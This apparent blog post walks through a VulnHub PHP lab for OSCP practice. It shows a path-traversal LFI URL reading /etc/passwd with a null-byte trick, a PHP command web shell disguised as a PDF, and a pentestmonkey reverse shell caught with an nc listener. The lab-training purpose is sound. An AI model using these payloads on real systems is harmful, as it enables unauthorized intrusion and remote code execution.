OSCP Security Technology - Local File Inclusion(LFI)

OSCP Security Technology - Local File Inclusion(LFI)

PHP include and post exploitation

https://www.vulnhub.com/entry/pentester-lab-php-include-and-post-exploitation,79/

Download the iso file and create a new vitual machine.

Exploit

Discover the IP address of this vm.

netdiscover

image-20210814202517639

Visit the Home page of this website.

image-20210814202639712

Found an interesting sumit form.

image-20210814202750422

Check this website with nikto.

nikto -h 192.168.2.43

image-20210814203827157

Show all 200/OK responses.(Refer to https://tools.kali.org/information-gathering/nikto)

nikto -host 192.168.2.43 -Display 3

image-20210814224212700

Try to exploit this website. But can not open this file.

http://192.168.2.43/index.php?page=../../../../../../../../../../etc/passwd

image-20210814224718580

Try the following url again. Succeed this time.

http://192.168.2.43/index.php?page=../../../../../../../../../../etc/passwd%00

image-20210814225005002

Create a malicious pdf file.

nano shell.pdf
%PDF-1.4

<?php
        system($_GET["cmd"]);
?>

image-20210814230733870

Submit this file to target website.

image-20210814230033098

Go into the Browser.

http://192.168.2.43/index.php?page=uploads/shell.pdf%00&cmd=whoami

image-20210814230817192

http://192.168.2.43/index.php?page=uploads/shell.pdf%00&cmd=pwd

image-20210814230858847

Search and download a php reverse shell file from the Internet.

http://pentestmonkey.net/tools/web-shells/php-reverse-shell

image-20210814231234561

Modify the parameters in this shell: Add PDF file head and modify ip&port.

nano php-reverse-shell.php

image-20210814231834146

cp php-reverse-shell.php shell2.pdf

Submit shell2.pdf to this website.

image-20210814232147863

Setup an listener.

nc -nvlp 4444

image-20210814232355458

Go into the browser.

192.168.2.43/index.php?page=uploads/shell2.pdf%00

image-20210814232720324

whoami
pwd
ls -la

image-20210814233002887

posted @ 2021-08-14 23:32  晨风_Eric  阅读(89)  评论(0编辑  收藏  举报